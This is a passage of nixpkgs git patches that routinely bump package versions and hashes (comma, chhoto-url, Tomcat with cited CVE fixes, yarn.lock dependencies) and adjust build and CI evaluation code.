+  integrity sha512-ji3kym/XZaFVew1+tIZk5ZLp9Z/fLv9rK1aZmpug0FsgE7Cu3ZDrUdRo7FT9vFjMYfNimrrUHJzywDwT7XEFlg==
   dependencies:
     cookies "0.9.1"
     debug "3.2.7"
-    on-headers "~1.0.2"
+    on-headers "~1.1.0"
     safe-buffer "5.2.1"
 
 cookie-signature@1.0.6:
@@ -3559,9 +3559,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.173:
-  version "1.5.185"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.185.tgz#b4f9189c4ef652ddf9f1bb37529e2b79f865e912"
-  integrity sha512-dYOZfUk57hSMPePoIQ1fZWl1Fkj+OshhEVuPacNKWzC1efe56OsHY3l/jCfiAgIICOU3VgOIdoq7ahg7r7n6MQ==
+  version "1.5.190"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.190.tgz#f0ac8be182291a45e8154dbb12f18d2b2318e4ac"
+  integrity sha512-k4McmnB2091YIsdCgkS0fMVMPOJgxl93ltFzaryXqwip1AaxeDqKCGLxkXODDA5Ab/D+tV5EL5+aTx76RvLRxw==
 
 emoji-regex@^7.0.1:
   version "7.0.3"
@@ -4124,20 +4124,21 @@ forever-agent@~0.6.1:
   integrity sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==
 
 form-data@^2.5.0:
-  version "2.5.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.5.3.tgz#f9bcf87418ce748513c0c3494bb48ec270c97acc"
-  integrity sha512-XHIrMD0NpDrNM/Ckf7XJiBbLl57KEhT3+i3yY+eWm+cqYZJQTZrKo8Y8AWKnuV5GT4scfuUGt9LzNoIx3dU1nQ==
+  version "2.5.5"
+  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.5.5.tgz#a5f6364ad7e4e67e95b4a07e2d8c6f711c74f624"
+  integrity sha512-jqdObeR2rxZZbPSGL+3VckHMYtu+f9//KXBsVny6JSX/pa38Fy+bGjuG8eW/H6USNQWhLi8Num++cU2yOCNz4A==
   dependencies:
     asynckit "^0.4.0"
     combined-stream "^1.0.8"
     es-set-tostringtag "^2.1.0"
+    hasown "^2.0.2"
     mime-types "^2.1.35"
     safe-buffer "^5.2.1"
 
-form-data@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.3.tgz#608b1b3f3e28be0fccf5901fc85fb3641e5cf0ae"
-  integrity sha512-qsITQPfmvMOSAdeyZ+12I1c+CKSstAFAwu+97zrnWAbIr5u8wfsExUzCesVLC8NgHuRUqNN4Zy6UPWUTRGslcA==
+form-data@^4.0.0, form-data@^4.0.4:
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.4.tgz#784cdcce0669a9d68e94d11ac4eea98088edd2c4"
+  integrity sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==
   dependencies:
     asynckit "^0.4.0"
     combined-stream "^1.0.8"
@@ -5257,6 +5258,11 @@ jose@^4.15.4, jose@^4.15.9:
   resolved "https://registry.yarnpkg.com/jose/-/jose-4.15.9.tgz#9b68eda29e9a0614c042fa29387196c7dd800100"
   integrity sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==
 
+jose@^6.0.11:
+  version "6.0.12"
+  resolved "https://registry.yarnpkg.com/jose/-/jose-6.0.12.tgz#56253d94d46bd784addc4bde3691c323552fe7e4"
+  integrity sha512-T8xypXs8CpmiIi78k0E+Lk7T2zlK4zDyg+o1CZ4AkOHgDg98ogdP2BeZ61lTFKFyoEwJ9RgAgN+SdM3iPgNonQ==
+
 js-tokens@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
@@ -6408,10 +6414,10 @@ on-finished@2.4.1:
   dependencies:
     ee-first "1.1.1"
 
-on-headers@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
-  integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
+on-headers@~1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.1.0.tgz#59da4f91c45f5f989c6e4bcedc5a3b0aed70ff65"
+  integrity sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==
 
 once@^1.3.0, once@^1.3.1, once@^1.4.0:
   version "1.4.0"

From 962f4e9fe87dc6f02ed4d43d220daee0313a8e28 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 24 Jul 2025 10:55:20 +0000
Subject: [PATCH 2864/4511] chhoto-url: 6.2.10 -> 6.2.11

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.2.11
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.2.10...6.2.11
(cherry picked from commit cba7a76c0f25ada1bf49ad7f85ee4c953fce394a)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 57e4874fd2b3..e1af552d8fe9 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.2.10";
+  version = "6.2.11";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-56tbSOoYRtmRzKqRDe951JXOlPymRGtEyGSZ0dWXOcw=";
+    hash = "sha256-3VQmTQ6ZlDTRL3nx/sQxWLKgW8ee0Ts+C1CiWkiX2/g=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-z5BFo6X3Lpb/PJPMQ+3m1RozvXeHLaY81PABAE7gTTA=";
+  cargoHash = "sha256-QIqLzk/vAOrW0ain0Oq9tnqzCSyK4yDOYsjmil3xPc4=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From 1fb4f3f2f38b8203512b16f812b9c1484062f041 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Fri, 11 Jul 2025 13:59:20 +0300
Subject: [PATCH 2865/4511] comma: 1.9.0 -> 2.0.0

Diff: https://www.github.com/nix-community/comma/compare/v1.9.0...v2.0.0
(cherry picked from commit 26b511effdfb22ce1429ede9bade21325119e342)
---
 pkgs/by-name/co/comma/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index 572d67065d2c..7e79b6eb89be 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -11,17 +11,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "comma";
-  version = "1.9.0";
+  version = "2.0.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "comma";
     rev = "v${version}";
-    hash = "sha256-XXe0SSdH2JZLx0o+vHDtdlDRtVn7nouIngipbXhmhiQ=";
+    hash = "sha256-EP1UGmoPXeyJY1mk3c4DNF6/HkjqlwKf5ZLhjNa1WMo=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-vNXczPhCfoXHy5IT/ybuKEQ7I08eJJdP+6+iXfwWjdU=";
+  cargoHash = "sha256-GEHvS4hDBKqSquRmGZ9LMIFsX8MGqOqPZVf0aAzMmmI=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 

From b7ebfe3753f0e621b537831c5d96c3345cbc24e1 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Mon, 14 Jul 2025 01:59:31 +0300
Subject: [PATCH 2866/4511] comma: 2.0.0 -> 2.1.0

Diff: https://www.github.com/nix-community/comma/compare/v2.0.0...v2.1.0
(cherry picked from commit 2ef666aca34355272ebb61a07eaee3cb88fe38db)
---
 pkgs/by-name/co/comma/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index 7e79b6eb89be..8111f49b7816 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -11,17 +11,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "comma";
-  version = "2.0.0";
+  version = "2.1.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "comma";
     rev = "v${version}";
-    hash = "sha256-EP1UGmoPXeyJY1mk3c4DNF6/HkjqlwKf5ZLhjNa1WMo=";
+    hash = "sha256-Q9s3z/FqkEqCQyvYhH07qlITGGlA8quZcYsK3lO8M8g=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-GEHvS4hDBKqSquRmGZ9LMIFsX8MGqOqPZVf0aAzMmmI=";
+  cargoHash = "sha256-yNx0Sc2JnEfndBBPxaeNMWsdWpB9fAUqXUPVNR+NOrM=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 

From 84c435b840fe40436b1915ba0e8cd7d1361be8e6 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Sat, 19 Jul 2025 15:03:15 +0300
Subject: [PATCH 2867/4511] comma: 2.1.0 -> 2.2.0

Diff: https://www.github.com/nix-community/comma/compare/v2.1.0...v2.2.0
(cherry picked from commit 5bd538caf1063829431df122b4053d817a758348)
---
 pkgs/by-name/co/comma/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index 8111f49b7816..f21a8d33e72f 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -11,17 +11,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "comma";
-  version = "2.1.0";
+  version = "2.2.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "comma";
     rev = "v${version}";
-    hash = "sha256-Q9s3z/FqkEqCQyvYhH07qlITGGlA8quZcYsK3lO8M8g=";
+    hash = "sha256-mhSX2yx+/xDwCtLVb+aSFFxP2TOJek/ZX/28khvetwE=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-yNx0Sc2JnEfndBBPxaeNMWsdWpB9fAUqXUPVNR+NOrM=";
+  cargoHash = "sha256-6BsRgxcUtVuN1gp3VVXkNQzqb9hD5rWWctieJvFdyrQ=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 

From cb2dbc5ef844f31bf59faec6cba2c4811e8b9138 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 24 Jul 2025 10:07:04 -0400
Subject: [PATCH 2868/4511] elixir-ls: fix elixir executable in path

(cherry picked from commit b4eee17286a2a4b616b144ef018071f8aee8e60b)
---
 pkgs/development/beam-modules/elixir-ls/launch.sh.patch | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/beam-modules/elixir-ls/launch.sh.patch b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
index b497720e4bd9..ebbac1997fa4 100644
--- a/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
+++ b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
@@ -1,5 +1,5 @@
 diff --git c/scripts/launch.sh w/scripts/launch.sh
-index 21afbb1e..6b61f0b4 100755
+index 21afbb1e..8bc5c382 100755
 --- c/scripts/launch.sh
 +++ w/scripts/launch.sh
 @@ -1,125 +1,4 @@
@@ -129,7 +129,7 @@ index 21afbb1e..6b61f0b4 100755
  
  # In case that people want to tweak the path, which Elixir to use, or
  # whatever prior to launching the language server or the debug adapter, we
-@@ -138,29 +17,18 @@ fi
+@@ -138,29 +17,22 @@ fi
  # script so we can correctly configure the Erlang library path to
  # include the local .ez files, and then do what we were asked to do.
  
@@ -166,4 +166,8 @@ index 21afbb1e..6b61f0b4 100755
 +ELX_STDLIB_PATH=${ELX_STDLIB_PATH:-@elixir@/lib/elixir}
 +export ELX_STDLIB_PATH
 +
++# ensure our elixir is in the path
++PATH="@elixir@/bin:$PATH"
++export PATH
++
 +source "$SCRIPTPATH/exec.bash"

From adbe9c4d3ecf6022d41f4b74993e3f125b8da04c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 22:53:03 +0000
Subject: [PATCH 2869/4511] tomcat10: 10.1.42 -> 10.1.43

(cherry picked from commit 0bb47a6a7d62e448af68cccec28ed72eb8afebfe)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 78e50ff0b5c3..32db7801aa3a 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   tomcat10 = common {
-    version = "10.1.42";
-    hash = "sha256-m29iOmn6DMhQElyJVXPuZX9+5WYIl2uiapZEsF5J/ac=";
+    version = "10.1.43";
+    hash = "sha256-hZ0Vx/DgjlQ6klv4RyjuIWbHELFKYvvJvn9Y8XqpZ10=";
   };
 
   tomcat11 = common {

From 42896c57ba7536564864aacaddc43032c0509fd1 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 11 Jul 2025 20:04:38 +0200
Subject: [PATCH 2870/4511] tomcat9: 9.0.106 -> 9.0.107

Fixes CVE-2025-52434, CVE-2025-52520 and CVE-2025-53506.

https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.107
(cherry picked from commit d1173a321f45053bf131fe11d42d866094335840)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 32db7801aa3a..42efd4d64bd8 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -60,8 +60,8 @@ let
 in
 {
   tomcat9 = common {
-    version = "9.0.106";
-    hash = "sha256-EBMxGWDLyIvm2H75RsaF4WBSoNnRp24109GsQZG44n0=";
+    version = "9.0.107";
+    hash = "sha256-08qgrQpltJMafTrsok5VQc90O6X6nlGr2ls6MdC0hX0=";
   };
 
   tomcat10 = common {

From 1643b83a999cff1f8da3daa9b5842310499c6f15 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 11 Jul 2025 20:09:29 +0200
Subject: [PATCH 2871/4511] tomcat11: 11.0.8 -> 11.0.9

Fixes CVE-2025-52520 and CVE-2025-53506.

https://tomcat.apache.org/security-11.html#Fixed_in_Apache_Tomcat_11.0.9
(cherry picked from commit 82aed1e3a460658dbb2e07b21323a5b28ddbe263)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 42efd4d64bd8..84a7bb32024c 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -70,7 +70,7 @@ in
   };
 
   tomcat11 = common {
-    version = "11.0.8";
-    hash = "sha256-BGT3ORiCetG5hdhwpehW1ldfEJ0MrWEKSho9sPqadXI=";
+    version = "11.0.9";
+    hash = "sha256-YsVio60p26PqBPWK4x6/yGXPISAzUWP88PwD1CbtOoc=";
   };
 }

From 0cbf2fab8aaba4e1764cec6b04d4b1aaf7618863 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 19:39:24 +0200
Subject: [PATCH 2872/4511] .git-blame-ignore-revs: add nixfmt 1.0.0 commits

---
 .git-blame-ignore-revs | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
index 8b313d9785db..95696dbd41c2 100644
--- a/.git-blame-ignore-revs
+++ b/.git-blame-ignore-revs
@@ -269,3 +269,7 @@ a034fb50f79816c6738fb48b48503b09ea3b0132
 
 # treewide: switch instances of lib.teams.*.members to the new meta.teams attribute
 05580f4b4433fda48fff30f60dfd303d6ee05d21
+
+# nixfmt 1.0.0
+a46262ae77e4016fe5a4a390c4a39c0c1b266428 # !autorebase nix-shell --run treefmt
+aefcb0d50d1124314429a11ed6b7aaaedf2861c5 # !autorebase nix-shell --run treefmt

From f432d7fea7ecf184c1b0d2152deacf860e1f67c2 Mon Sep 17 00:00:00 2001
From: Dennis Bogers <d.bogers@korsit.com>
Date: Thu, 24 Jul 2025 18:47:18 +0000
Subject: [PATCH 2873/4511] rtorrent: fix version hash mismatch and modernize
 package

Backports finalAttrs pattern from master (700a1e18eb0d) while keeping
version at 0.15.1 for stable branch. This fixes the issue where the
package declared version 0.15.1 but used a commit hash pointing to
v0.15.0, causing the binary to report the wrong version.

Changes:
- Use v${finalAttrs.version} instead of hardcoded commit hash
- Switch to modern finalAttrs pattern
- Remove autoconf-archive dependency (no longer needed)
- Ensures rtorrent binary correctly reports version 0.15.1

Note: Lua support options from newer versions were not backported
as rtorrent 0.15.1 lacks --with-lua configure support.
---
 pkgs/by-name/rt/rtorrent/package.nix | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/rt/rtorrent/package.nix b/pkgs/by-name/rt/rtorrent/package.nix
index d2a892bde048..e3193c3374d9 100644
--- a/pkgs/by-name/rt/rtorrent/package.nix
+++ b/pkgs/by-name/rt/rtorrent/package.nix
@@ -1,7 +1,6 @@
 {
   lib,
   stdenv,
-  autoconf-archive,
   autoreconfHook,
   cppunit,
   curl,
@@ -17,15 +16,15 @@
   gitUpdater,
 }:
 
-stdenv.mkDerivation {
+stdenv.mkDerivation (finalAttrs: {
   pname = "rakshasa-rtorrent";
   version = "0.15.1";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "rtorrent";
-    rev = "68fdb86c723a0ae67ebaffec416af99fec41dcbc";
-    hash = "sha256-/GWC28LsY7GcUH+SBzi01sOWVfA1lyM0r9OdUDTYbT8=";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-5ewAeoHvKcZ+5HTMlXLTu63JE3plKATvZToFEDZ9vOs=";
   };
 
   outputs = [
@@ -38,7 +37,6 @@ stdenv.mkDerivation {
   };
 
   nativeBuildInputs = [
-    autoconf-archive
     autoreconfHook
     installShellFiles
     pkg-config
@@ -85,4 +83,4 @@ stdenv.mkDerivation {
     platforms = lib.platforms.unix;
     mainProgram = "rtorrent";
   };
-}
+})

From f1943aa859b253cc6b13ba7f71ba121235d28891 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Thu, 24 Jul 2025 21:55:02 +0300
Subject: [PATCH 2874/4511] comma: 2.2.0 -> 2.3.0

Diff: https://www.github.com/nix-community/comma/compare/v2.2.0...v2.3.0
(cherry picked from commit ccc604730bd522e47473a3ff3439863f9751ba00)
---
 pkgs/by-name/co/comma/package.nix | 38 +++++++++++++++++++++----------
 1 file changed, 26 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index f21a8d33e72f..dd35a1b289ca 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -3,37 +3,51 @@
   fetchFromGitHub,
   fzy,
   lib,
-  makeBinaryWrapper,
   nix-index-unwrapped,
+  nix,
   rustPlatform,
   testers,
 }:
 
 rustPlatform.buildRustPackage rec {
   pname = "comma";
-  version = "2.2.0";
+  version = "2.3.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "comma";
     rev = "v${version}";
-    hash = "sha256-mhSX2yx+/xDwCtLVb+aSFFxP2TOJek/ZX/28khvetwE=";
+    hash = "sha256-JogC9NIS71GyimpqmX2/dhBX1IucK395iWZVVabZxiE=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-6BsRgxcUtVuN1gp3VVXkNQzqb9hD5rWWctieJvFdyrQ=";
+  cargoHash = "sha256-Cd4WaOG+OkCM4Q1K9qVzMYOjSi9U8W82JypqUN20x9w=";
 
-  nativeBuildInputs = [ makeBinaryWrapper ];
+  postPatch = ''
+    substituteInPlace ./src/main.rs \
+      --replace-fail '"nix-locate"' '"${lib.getExe' nix-index-unwrapped "nix-locate"}"' \
+      --replace-fail '"nix"' '"${lib.getExe nix}"' \
+      --replace-fail '"nix-env"' '"${lib.getExe' nix "nix-env"}"' \
+      --replace-fail '"fzy"' '"${lib.getExe fzy}"'
+  '';
 
   postInstall = ''
-    wrapProgram $out/bin/comma \
-      --prefix PATH : ${
-        lib.makeBinPath [
-          fzy
-          nix-index-unwrapped
-        ]
-      }
     ln -s $out/bin/comma $out/bin/,
+
+    mkdir -p $out/etc/profile.d
+    mkdir -p $out/etc/nushell
+    mkdir -p $out/etc/fish/functions
+
+    cp $src/etc/comma-command-not-found.sh $out/etc/profile.d
+    cp $src/etc/comma-command-not-found.nu $out/etc/nushell
+    cp $src/etc/comma-command-not-found.fish $out/etc/fish/functions
+
+    patchShebangs $out/etc/profile.d/comma-command-not-found.sh
+    substituteInPlace \
+      "$out/etc/profile.d/comma-command-not-found.sh" \
+      "$out/etc/nushell/comma-command-not-found.nu" \
+      "$out/etc/fish/functions/comma-command-not-found.fish" \
+      --replace-fail "comma --ask" "$out/bin/comma --ask"
   '';
 
   passthru.tests = {

From 08567941276b9e0e9abe1817d049e09e78afe43b Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Thu, 24 Jul 2025 22:27:34 +0300
Subject: [PATCH 2875/4511] comma: Fix build on old rust version

The patches attr is down for further backports
---
 pkgs/by-name/co/comma/package.nix      |  4 ++++
 pkgs/by-name/co/comma/rustverfix.patch | 14 ++++++++++++++
 2 files changed, 18 insertions(+)
 create mode 100644 pkgs/by-name/co/comma/rustverfix.patch

diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index dd35a1b289ca..bd2331ef6d84 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -31,6 +31,10 @@ rustPlatform.buildRustPackage rec {
       --replace-fail '"fzy"' '"${lib.getExe fzy}"'
   '';
 
+  patches = [
+    ./rustverfix.patch
+  ];
+
   postInstall = ''
     ln -s $out/bin/comma $out/bin/,
 
diff --git a/pkgs/by-name/co/comma/rustverfix.patch b/pkgs/by-name/co/comma/rustverfix.patch
new file mode 100644
index 000000000000..22298c0689cc
--- /dev/null
+++ b/pkgs/by-name/co/comma/rustverfix.patch
@@ -0,0 +1,14 @@
+diff --git a/src/main.rs b/src/main.rs
+index cdd04a0..413139a 100644
+--- a/src/main.rs
++++ b/src/main.rs
+@@ -214,7 +214,7 @@ fn run_command_from_cache(
+ 
+ fn confirmer(run_cmd: &Command) -> bool {
+     loop {
+-        print!("Run '{}'? [Y/n]: ", run_cmd.get_program().display());
++        print!("Run '{}'? [Y/n]: ", run_cmd.get_program().to_string_lossy());
+         io::stdout().flush().unwrap();
+ 
+         let mut input = String::new();
+

From 57a69785d00b7eb75c2182cbbed57b53627d0da2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:33:48 +0200
Subject: [PATCH 2876/4511] pkgsx86_64Darwin: move behind allowVariants

This is already not used in-tree, so should be a variant.

(cherry picked from commit 612e76db5101fbaa52fe1478c870109869e13dbd)
---
 pkgs/top-level/stage.nix    | 22 ----------------------
 pkgs/top-level/variants.nix | 22 ++++++++++++++++++++++
 2 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/pkgs/top-level/stage.nix b/pkgs/top-level/stage.nix
index 5dfc2519b29c..623d76d8858e 100644
--- a/pkgs/top-level/stage.nix
+++ b/pkgs/top-level/stage.nix
@@ -276,28 +276,6 @@ let
       else
         throw "i686 Linux package set can only be used with the x86 family.";
 
-    # x86_64-darwin packages for aarch64-darwin users to use with Rosetta for incompatible packages
-    pkgsx86_64Darwin =
-      if stdenv.hostPlatform.isDarwin then
-        nixpkgsFun {
-          overlays = [
-            (self': super': {
-              pkgsx86_64Darwin = super';
-            })
-          ]
-          ++ overlays;
-          localSystem = {
-            config = lib.systems.parse.tripleFromSystem (
-              stdenv.hostPlatform.parsed
-              // {
-                cpu = lib.systems.parse.cpuTypes.x86_64;
-              }
-            );
-          };
-        }
-      else
-        throw "x86_64 Darwin package set can only be used on Darwin systems.";
-
     # If already linux: the same package set unaltered
     # Otherwise, return a natively built linux package set for the current cpu architecture string.
     # (ABI and other details will be set to the default for the cpu/os pair)
diff --git a/pkgs/top-level/variants.nix b/pkgs/top-level/variants.nix
index 0eacaee9fd66..6c191fbcebf0 100644
--- a/pkgs/top-level/variants.nix
+++ b/pkgs/top-level/variants.nix
@@ -90,6 +90,28 @@ self: super: {
     else
       throw "Musl libc only supports 64-bit Linux systems.";
 
+  # x86_64-darwin packages for aarch64-darwin users to use with Rosetta for incompatible packages
+  pkgsx86_64Darwin =
+    if stdenv.hostPlatform.isDarwin then
+      nixpkgsFun {
+        overlays = [
+          (self': super': {
+            pkgsx86_64Darwin = super';
+          })
+        ]
+        ++ overlays;
+        localSystem = {
+          config = lib.systems.parse.tripleFromSystem (
+            stdenv.hostPlatform.parsed
+            // {
+              cpu = lib.systems.parse.cpuTypes.x86_64;
+            }
+          );
+        };
+      }
+    else
+      throw "x86_64 Darwin package set can only be used on Darwin systems.";
+
   # Full package set with rocm on cuda off
   # Mostly useful for asserting pkgs.pkgsRocm.torchWithRocm == pkgs.torchWithRocm and similar
   pkgsRocm = nixpkgsFun ({

From e66898141d3b851473db5169d8621f5c0325c60a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 11:47:33 +0200
Subject: [PATCH 2877/4511] ci/eval: don't evaluate variants

This removes pkgsx86_64Darwin from the top-level attributes when
generating attrpaths for evaluation on Linux. Needed for attrpaths
generation to succeed without silently catching eval errors.

Variants are still available during actual Eval for references from
other packages, just not during attrpath generation. To remove it from
Eval as well, issues around pkgsLLVM will have to be fixed first.

(cherry picked from commit fc45a5f2c9fe7881f44877b861ae6c3ee8a3fba3)
---
 pkgs/by-name/bm/bmake/package.nix   | 4 ++--
 pkgs/top-level/release-outpaths.nix | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bm/bmake/package.nix b/pkgs/by-name/bm/bmake/package.nix
index 74c546e1e84f..75a0da3750b3 100644
--- a/pkgs/by-name/bm/bmake/package.nix
+++ b/pkgs/by-name/bm/bmake/package.nix
@@ -4,7 +4,7 @@
   fetchurl,
   getopt,
   ksh,
-  pkgsMusl,
+  pkgsMusl ? { },
   stdenv,
   tzdata,
 }:
@@ -107,7 +107,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   passthru = {
     tests = {
-      bmakeMusl = pkgsMusl.bmake;
+      bmakeMusl = pkgsMusl.bmake or null;
     };
   };
 
diff --git a/pkgs/top-level/release-outpaths.nix b/pkgs/top-level/release-outpaths.nix
index 731c65da73e3..18840848c185 100644
--- a/pkgs/top-level/release-outpaths.nix
+++ b/pkgs/top-level/release-outpaths.nix
@@ -29,6 +29,7 @@ let
             allowBroken = includeBroken;
             allowUnfree = true;
             allowInsecurePredicate = x: true;
+            allowVariants = !attrNamesOnly;
             checkMeta = checkMeta;
 
             handleEvalIssue =

From 7d0fe09b357b9b696e3e38833225fe88bd4f0bbd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 17:49:13 +0200
Subject: [PATCH 2878/4511] ci/eval: fail on asserts when generating attrpaths

This doesn't fail on *all* asserts, yet, because nix-env still ignores
these in the main eval step. But it already gives some converage during
the attrpath generation.

(cherry picked from commit 30f19cce69104f25418b92ef9ad023fa705714a0)
---
 ci/eval/default.nix                           |  3 +--
 pkgs/top-level/all-packages.nix               |  8 +++-----
 pkgs/top-level/release-attrpaths-superset.nix | 18 ++++--------------
 3 files changed, 8 insertions(+), 21 deletions(-)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index efe216c98f5c..31bc6b01c327 100644
--- a/ci/eval/default.nix
